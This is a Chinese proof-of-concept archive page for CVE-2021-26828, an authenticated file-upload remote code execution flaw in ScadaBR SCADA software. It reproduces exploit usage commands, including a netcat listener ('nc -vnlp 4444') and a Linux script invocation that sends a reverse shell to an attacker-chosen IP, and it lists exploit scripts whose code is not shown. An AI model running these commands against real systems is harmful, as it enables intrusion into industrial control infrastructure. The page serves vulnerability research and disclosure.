POC详情： 7560ff39ede3091384a9476a161433cd6bfa0c52

来源
https://github.com/hev0x/CVE-2021-26828_ScadaBR_RCE
关联漏洞
标题： Sensorweb ScadaBR 代码问题漏洞 (CVE-2021-26828)
描述：Sensorweb ScadaBR是Sensorweb公司的一套用于开发自动化数据采集和监控应用程序的开源软件。 ScadaBR 1.0 / 1.1CE 存在代码问题漏洞。该漏洞源于网络系统或产品缺乏有效的权限许可和访问控制措施。
介绍
# POC CVE-2021-26828_ScadaBR_RemoteCodeExecution

- ScadaBR 0.9.1 on Linux and through 1.0 and 1.12.4CE on Windows allows remote authenticated users to upload and execute arbitrary JSP files via 'view_edit.shtm' and Remote Code Execution.

### Exploit Usage

#### Commands:
- Windows:
`$ sudo python WinScada_RCE.py <Remote_Host> <Remote_Port> <User> <Pass>`

![](https://github.com/hevox/CVE-2021-26828_ScadaBR_RCE/blob/main/PocScadaBRWin.png)

- Linux:
First in your local machine open any port before exploit execution:

`$ sudo nc -vnlp 4444`

`$ sudo python LinScada_RCE.py <Remote_Host> <Remote_Port> <User> <Pass> <Reverse_IP> <Reverse_Port>`

![](https://github.com/hevox/CVE-2021-26828_ScadaBR_RCE/blob/main/PocScadaBRLin.png)

- References:

  https://www.exploit-db.com/exploits/49734

  https://www.exploit-db.com/exploits/49735

  https://www.youtube.com/watch?v=k1teIStQr1A
文件快照

 [4.0K]  /data/pocs/7560ff39ede3091384a9476a161433cd6bfa0c52
├── [8.4K]  LinScada_RCE.py
├── [ 58K]  PocScadaBRLin.png
├── [ 47K]  PocScadaBRWin.png
├── [ 888]  README.md
└── [6.6K]  WinScada_RCE.py

0 directories, 5 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
    3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。